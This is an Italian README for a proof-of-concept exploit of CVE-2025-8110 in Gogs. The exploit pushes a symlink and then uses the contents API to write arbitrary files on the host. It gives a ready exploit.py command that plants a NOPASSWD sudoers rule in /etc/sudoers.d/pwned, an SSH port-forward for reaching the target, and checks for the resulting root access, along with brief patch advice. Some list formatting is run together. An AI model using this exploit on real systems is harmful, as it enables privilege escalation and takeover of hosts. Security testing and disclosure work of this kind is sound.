
PoC per CVE-2025-8110 - Scrittura arbitraria di file in Gogs tramite symlink
Proof-of-concept per una scrittura arbitraria di file autenticata in Gogs. Spingendo un repository che contiene un collegamento simbolico che punta all'esterno del repo e poi aggiornando il contenuto di quel collegamento tramite l'API, un utente autenticato può sovrascrivere file sull'host con i privilegi dell'account che esegue Gogs.
Solo test autorizzati e formazione. Esegui questo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. Sei responsabile dell'uso che ne fai.
malicious_link -> /path/on/host) e spingilo.PUT all'API dei contenuti per aggiornare malicious_link. Gogs segue il collegamento simbolico e scrive il contenuto fornito nel percorso di destinazione — con i propri privilegi. Se Gogs viene eseguito come root, questa è una primitiva di escalation dei privilegi diretta (ad esempio, inserendo una regola in /etc/sudoers.d/).La richiesta API PUT è ciò che effettivamente attiva la scrittura; il push posiziona solo il collegamento simbolico.
git disponibile nel PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Ometti --password per ricevere una richiesta di inserimento sicura invece di passarlo sulla riga di comando.
Gogs è spesso associato a localhost sul target. Usa il forwarding di porta locale SSH per esporlo alla tua macchina (regola le porte per corrispondere al target):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
Dopo un'esecuzione riuscita, controlla sull'host (come utente pertinente):
cat /etc/sudoers.d/pwned
sudo -l
Se hai scritto una regola sudoers, nota che i file in /etc/sudoers.d/ devono essere validi e avere i permessi appropriati affinché sudo li riconosca.
auto_init restituisce HTTP 500 — lo script ricorre alla creazione di un repo vuoto e lo popola con un git init locale + push.master vs main.Aggiorna a una versione di Gogs che convalida i collegamenti simbolici nell'API dei contenuti. Come difesa in profondità, evita di eseguire Gogs come root e isola l'archivio del repository.
MIT — vedi LICENSE.